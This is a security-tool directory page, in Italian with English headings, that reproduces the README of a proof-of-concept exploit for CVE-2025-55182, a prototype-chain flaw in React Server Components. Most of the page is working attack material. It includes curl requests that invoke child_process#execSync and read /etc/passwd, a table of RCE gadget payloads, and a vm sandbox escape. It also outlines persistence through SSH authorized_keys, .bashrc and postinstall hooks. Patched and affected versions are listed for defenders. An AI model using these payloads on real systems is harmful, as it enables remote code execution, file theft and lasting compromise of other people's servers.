Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182-poc — Exploit proof-of-concept per CVE-2025-55182, che dimostra l'esecuzione remota di codice tramite una vulnerabilità della catena dei prototipi in React Server Components. Include molteplici gadget RCE e attacchi di persistenza. | Kitploit
Strumenti/GitHubGitHub/ducducuc111/cve-2025-55182-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHub
ducducuc111/cve-2025-55182-poc

CVE-2025-55182-poc

Exploit proof-of-concept per CVE-2025-55182, che dimostra l'esecuzione remota di codice tramite una vulnerabilità della catena dei prototipi in React Server Components. Include molteplici gadget RCE e attacchi di persistenza.

Vedi Repository
49 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 - Vulnerabilità della catena dei prototipi dei React Server Components

Questo POC dimostra CVE-2025-55182 utilizzando il codice vulnerabile effettivo di [email protected].

Quick Start

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

Expected Output

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM Scripts

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)

# Exploits
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)

Test Individual Gadgets

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Key Files

Servers

FilePortDescription
src/server-realistic.js3002Server principale - simula un bundle webpack con moduli comuni (fs, vm, child_process)
src/server.js3002Server legacy (usa require diretto)

Exploit Scripts

FileDescription
exploit-rce-v4.jsRCE primaria tramite vm#runInThisContext
exploit-all-gadgets.jsTesta tutti i gadget RCE (vm, child_process, fs)
exploit-persistence.jsAttacchi di persistenza (chiavi SSH, .bashrc)

How server-realistic.js Works

Simula un bundle webpack reale in cui le applicazioni spesso raggruppano moduli pericolosi tramite dipendenze:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

La funzione __webpack_require__ carica solo moduli da BUNDLED_MODULES, simulando il comportamento reale di webpack.

The Vulnerability

Root Cause

In requireModule(), le esportazioni vengono accedute tramite notazione a parentesi senza controllo hasOwnProperty:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Attack Vector

  1. Invia $ACTION_REF_0 con metadati dell'azione vincolata
  2. id: 'vm#runInThisContext' carica il modulo vm, accede all'esportazione runInThisContext
  3. L'array bound diventa argomenti per la funzione
  4. Quando l'azione viene chiamata: runInThisContext(CODE) esegue codice arbitrario

All Verified RCE Gadgets

GadgetStatusDescription
vm#runInThisContext✓Esegue JS arbitrario nel contesto corrente
vm#runInNewContext✓Esegue in "sandbox" (facilmente aggirabile)
child_process#execSync✓Esecuzione diretta di comandi shell
child_process#execFileSync✓Esegue file binari
child_process#spawnSync✓Esegue un processo (restituisce un oggetto)
fs#readFileSync✓Legge file arbitrari
fs#writeFileSync✓Scrive file arbitrari

Gadget Payload Examples

Esegui comando shell (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Leggi file sensibili:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Scrivi file su disco:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Esegui JavaScript arbitrario:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Evasione dalla sandbox (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Alternative Attack Paths

Do You Need vm or child_process?

Per RCE diretta: Sì, è necessario uno di:

  • modulo vm (runInThisContext, runInNewContext)
  • modulo child_process (execSync, execFileSync, spawnSync)

Per RCE indiretta (solo fs): No! Con solo fs puoi:

  • Scrivere su ~/.ssh/authorized_keys → accesso SSH
  • Appendere a ~/.bashrc → esecuzione codice al prossimo login
  • Sovrascrivere node_modules/* → RCE al riavvio dell'app
  • Modificare package.json postinstall → RCE alla prossima installazione npm

Comparison Results

VersionAttaccoRisultato
React 19.0.0vm#runInThisContext✓ RCE ottenuta
React 19.2.1vm#runInThisContext✗ Bloccata

Testing Patched Version

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

Vulnerable npm Packages

Vedi VULNERABLE-PACKAGES.md per la ricerca sui pacchetti npm popolari che includono moduli pericolosi:

ModuleDownload settimanaliPacchetti popolari
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Affected Versions

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Fixed Versions

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Scarica lo strumento